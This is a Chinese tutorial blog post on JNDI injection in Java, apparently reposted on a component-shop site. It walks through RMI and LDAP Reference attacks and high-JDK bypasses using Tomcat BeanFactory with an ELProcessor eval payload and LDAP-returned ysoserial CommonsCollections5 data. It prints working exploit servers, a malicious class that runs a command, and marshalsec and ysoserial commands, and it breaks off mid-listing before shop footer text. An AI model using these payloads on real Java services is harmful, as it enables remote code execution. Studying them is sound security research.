资讯详情

[Java安全]—JNDI注入

文章首发于Secin:浅析JNDI注入

前言

其实要先学JNDI再学fastjson的,但是JNDI投稿去了,就先发了fastjson

JNDI

Trail: Java Naming and Directory Interface (The Java? Tutorials) (oracle.com)

The JNDI Tutorial (oracle.com)

JNDI (Java Naming and Directory Interface) 它是由应用程序设计的 API,为开发人员提供通用统一的接口,搜索和访问各种命名和目录服务。

  • RMI (JAVA调用远程方法)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象要求代理系统结构)
  • DNS (域名服务)

前三种都支持远程对象的调用

  • Java序列化对象
  • JNDI Reference引用
  • Marshalled对象
  • RMI远程对象
  • CORBA 对象

注入原理

注入原理

在JNDI服务中,RMI除了直接绑定远程对象外,服务端还可以通过References类绑定外部远程对象(当前名称目录系统以外的对象)。绑定了Reference之后,服务端将首先通过Referenceable.getReference()获得绑定对象的参考,并在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference将其转换为对象的实例。

RMI攻击实现

JDK <= 8u121

在8u121之后com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为false,不能再使用了

先看下JNDI—RMI的结合使用

RMISever.java

import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;  public class RMISever { 
             public static void main(String[] args) throws RemoteException, AlreadyBoundException { 
                 IRemoteObj remoteObj = new RemoteObjImpl();         Registry r = LocateRegistry.createRegistry(1099);         r.bind("remoteObj",remoteObj);      } } 

IRemoteObj.java

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote { 
        
    public String sayHello(String keywords) throws RemoteException;

}

RemoteObjImpl.java

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj { 
        
    public RemoteObjImpl() throws RemoteException{ 
        
        super();
    }

    @Override
    public String sayHello(String keywords){ 
        
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }
}

JNDIRMIServer.java

import javax.naming.InitialContext;

public class JNDIRMIServer { 
        
    public static void main(String[] args)throws Exception { 
        
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
    }
}

JNDIRMIClient.java

import javax.naming.InitialContext;

public class JNDIRMIClient { 
        
    public static void main(String[] args) throws Exception { 
        
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj)initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

这里的InitialContext()是构建一个初始上下文。通俗点来讲就是获取初始目录环境。

当开启RMI服务和JNDI服务后,此时JNDI客户端便可成功发出请求

在这里插入图片描述

RMI攻击

通过上例可以看出JNDI是可以和RMI结合使用的,而攻击就要通过类来绑定一个外部的远程对象的方式进行了。

Reference(String className, RefAddr addr, String factory, String factoryLocation)        
  • className : 远程加载时所使用的类名
  • classFactory : 加载的class中需要实例化类的名称
  • classFactoryLocation : 提供classes数据的地址可以是file/ftp/http协议

开启远程服务,在该目录下放了一个Exec.class,进行远程调用

import java.io.IOException;

public class Exec { 
        
    public Exec() throws IOException { 
        
        Runtime.getRuntime().exec("calc");
    }
}

之后修改JNDIServer,通过Reference绑定启动的远程服务对象

import javax.naming.InitialContext;
import javax.naming.Reference;


public class JNDIRMIServer { 
        
    public static void main(String[] args)throws Exception { 
        
        InitialContext initialContext = new InitialContext();
        //initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());

        Reference refobj = new Reference("Exec", "Exec", "http://localhost:7777/");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",refobj);

    }
}

重新启动RMI,JNDIServer后,通过客户端JNDIClient成功执行恶意字节码文件(这里是本地测试的也可以修改http://localhost:7777/,进行远程调用)

流程分析

只要客户端lookup参数可控,我们就可写入自己的远程对象,而远程对象在绑上,其中传一个带有恶意类的地址,当RMI客户端开启服务后就会造成攻击

下面看下具体流程

跟进lookup,name就是我们传入的rmi://127.0.0.1:1099/remoteObj

public Object lookup(String name) throws NamingException { 
        
    return getURLOrDefaultInitCtx(name).lookup(name);
}

有调用了lookup,继续跟进,这里调用了var3的lookup,而var3的是RegistryContext,所以虽然我们通过JNDI的方式进行的调用,但最后还是会调用到RMI的流程中,所以这也就是JNDI能结合RMI使用的原因(JNDI的每个服务对应一个Context协议,而RMI对应的协议就是RegistryContext)

继续跟进lookup,还是会调用lookup,但调用后var2的ReferenceWrapper类型,而在JNDIRMIServer中实例化的是Reference

分析下原因

跟进rebind,远程服务绑定时绑定的是Reference,但当客户端调用时变成了ReferenceWrapper,所以一定是在Reference绑定后进行了一些操作

注意一下参数就好,继续跟进rebind

又有一个rebind

public void rebind(String var1, Object var2) throws NamingException { 
        
    ResolveResult var3 = this.getRootURLContext(var1, this.myEnv);
    Context var4 = (Context)var3.getResolvedObj();

    try { 
        
        var4.rebind(var3.getRemainingName(), var2);
    } finally { 
        
        var4.close();
    }

}

跟进后发现多了个encode的操作

跟进后发现,当我们传入的类型为Reference,他会通过判断返回ReferenceWrapper,所以上边的原因也就在这里

在回到刚才的lookup方法,由于刚才的rebind中进行了encode,所以这里对应的会返回一个返回decode的操作

return this.decodeObject(var2, var1.getPrefix(1));

跟进后,发现了getReference(),在注入原理中提到货他可以获取绑定对象的引用,所以var3就变为了我们绑定的Reference对象

之后就调用了NamingManager.getObjectInstance,在319行会调用getObjectFactoryFromReference,从引用中获取对象工厂

factory = getObjectFactoryFromReference(ref, f);

跟进后他首先会进行个类加载

try { 
        
     clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) { 
        

跟进loadClass,retrun中会调用本类中的另一个loadClass

public Class<?> loadClass(String className) throws ClassNotFoundException { 
        
    return loadClass(className, getContextClassLoader());
}

调用Class.forName,但他是调用AppClassLoader从本地找Exec.class,所以肯定是找不到的

找不到后,就会从codebase中寻找,codebase通过ref.getFactoryClassLocation(),就会变成我们传入的远程对象

重新加载结束后通过最后的newInstance成功实例化,远程执行

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

LDAP攻击实现

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

JDK <= 8u191 且版本不为7u201、6u211、6u141、7u131、8u121

这些版本的com.sun.jndi.ldap.object.trustURLCodebase属性默认值为false

LDAP攻击

使用marshalsec构建ldap服务,服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099

http://127.0.0.1:7777/为本地服务,Exec是恶意文件,1099是开启的ldap服务端口(默认为1389)

开启本地服务

python -m http.server 7777

直接发起请求即可

import javax.naming.InitialContext;

public class JNDILDAPClient { 
        
    public static void main(String[] args) throws Exception { 
        
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:1099/Exec");
    }
}

流程分析

前边和RMI的一样连续调用了几个lookup,之后又进入了p_lookup()

之后又调用了c_lookup()

protected Object p_lookup(Name var1, Continuation var2) throws NamingException { 
        
    Object var3 = null;
    HeadTail var4 = this.p_resolveIntermediate(var1, var2);
    switch (var4.getStatus()) { 
        
        case 2:
            var3 = this.c_lookup(var4.getHead(), var2);
            if (var3 instanceof LinkRef) { 
        
                var2.setContinue(var3, var4.getHead(), this);
                var3 = null;
            }

跟进c_lookup(),在下方会调用decodeObject(),其中参数的值就是我们传入的LDAP的值

跟进后,会进行if判断,JAVA_ATTRIBUTES的索引值在下方,①处若我们传入的是序列化数据则会执行if下方的语句进行反序列化(后边高版本绕过会用到留个印象);②若传入的是远程对象则会调用decodeRmiObject()而我们是一个引用所以直接调用③执行decodeReference()

decodeReference()是一些赋值操作,执行完后回到decodeObject()中,最后decodeObject()执行完之后回到了c_lookup()这里var3此时的值为

接着往下走最终调用了DirectoryManagergetObjectInstance,而RMI调用的则是NamingManagergetObjectInstance

return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

但流程的话跟RMI的基本一模一样了,最后也是通过NamingManager调用newInstance()进行类加载造成代码执行

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;

高版本绕过

在JDK8u191之后将com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值设为了false,即不能再从远程的Codebase加载恶意的Factory类了,所以上边的方式就不适用了,但这里还可以使用本地类加载的方式进行利用(都需要特定的依赖):

  • 本地Class作为Reference Factory绕过
  • LDAP返回序列化数据绕过

本地Class作为Reference Factory绕过

找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。这个Factory类必须实现 javax.naming.spi.ObjectFactory 接口。而Tomcat依赖包中存在org.apache.naming.factory.BeanFactory工厂类,可以反射构造代码执行。

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>8.0.28</version>
</dependency>

本地攻击

import javax.naming.*;
public class JNDIBPClient { 
        
    public static void main(String[] args) throws Exception { 
        
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://127.0.0.1:1099/Exec");
    }
}

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class JNDIBPServer { 
        

    public static void main(String[] args) throws Exception { 
        
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "Sentiment=eval"));
        resourceRef.add(new StringRefAddr("Sentiment", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Exec", referenceWrapper);
        System.out.println("the Server is bind rmi://127.0.0.1:1099/Exec");
    }
}

若在执行javax.el.ELProcessor报错Class not found: javax.el.ELProcessor,则需要再导入依赖:

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.0.28</version>
</dependency>

流程分析

由于通过RMI进行的调用,所以前边的流程跟中是一样的,但由于本次传入的工厂是BeanFactory,所以会调用BeanFactory.getObjectInstance()

跟进后这里通过反射实例化了ELProcessorbean

再往下看,将forceString的值赋给ra,我们在Server中赋值forceString=“Sentiment=eval”,所以ra=“Sentiment=eval”,之后创建了一个HashMap对象给forced,接着将刚刚说到的ra的值赋给value,又赋给了param,在168行获取了等号的索引,之后以等号分割开分别赋值给了setterNameparam

之后就是将这两个值传入HashMap即:forced

forced.put(param,
           beanClass.getMethod(setterName, paramTypes));

之后主要就是这五步了:

  1. proName获取ra的type —>Sentiment
  2. value获取ra的contents —>Runtime.getRuntime().exec(“calc”)
  3. method获取Sentiment对应的值即:eval方法
  4. valueArray[0]获取value 即Runtime.getRuntime().exec(“calc”)
  5. 最终反射成功执行代码

LDAP返回序列化数据绕过

在LDAP攻击的流程分析中提到过在高版本绕过中会用到,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化

这里以打cc5为例,需要Commons-Collections-3.1依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

本地攻击

ysoserial生成payload

java -jar ysoserial-0.0.5.jar CommonsCollections5 "calc" >1.txt

base64加密一下

本题开启http服务直接打即可

python -m http.server 7777

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
public class JNDISerialServer { 
        
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) { 
        

        String url = "http://127.0.0.1:7777/#Exec";
        int port = 1099;


        try { 
        
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println
        标签: syw二极管

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台